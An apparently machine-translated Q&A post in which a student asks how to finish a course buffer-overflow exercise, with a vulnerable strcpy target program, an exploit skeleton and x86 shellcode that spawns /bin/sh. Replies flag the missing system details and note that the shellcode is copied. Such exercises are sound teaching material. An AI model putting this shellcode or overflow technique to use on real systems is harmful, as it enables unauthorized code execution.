Я пытаюсь понять эту проблему для одного из моих классов comp sci, я использовал каждый ресурс и все еще имею проблемы, если кто-то может дать некоторое представление, я бы очень признателен.Программа эксплойта умышленного переполнения буфера
У меня есть эта «цель» Мне нужно выполнить execve («/ bin/sh») с использованием эксплойта переполнения буфера. При переполнении buf [128] при выполнении небезопасной команды strcpy указатель обратно в буфер появляется в том месте, где система ожидает найти обратный адрес.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Я понимаю, что нужно заполнить ARGV [1] с более чем 128 байт, то байты над 128 являются обратным адресом, который следует указывать обратно в буфер, чтобы он выполнял внутри/bin/sh внутри. Насколько это верно? Может ли кто-то сделать следующий шаг?
Большое спасибо за любую помощь.
Переполнение стека и переполнение буфера - это две совершенно разные вещи. – BoltClock
Это сильно зависит от вашей системы (компилятор, центральный процессор и т. Д.), И вы не удосужились указать что-либо из этого. –
Я не мог не заметить, что ваш код оболочки является точной копией найденной [здесь] (http://insecure.org/stf/smashstack.html). Вам, вероятно, следует прочитать эту статью и понять, что происходит, чтобы вы могли реализовать свои собственные. Плагиат в университете - серьезный материал. – Paul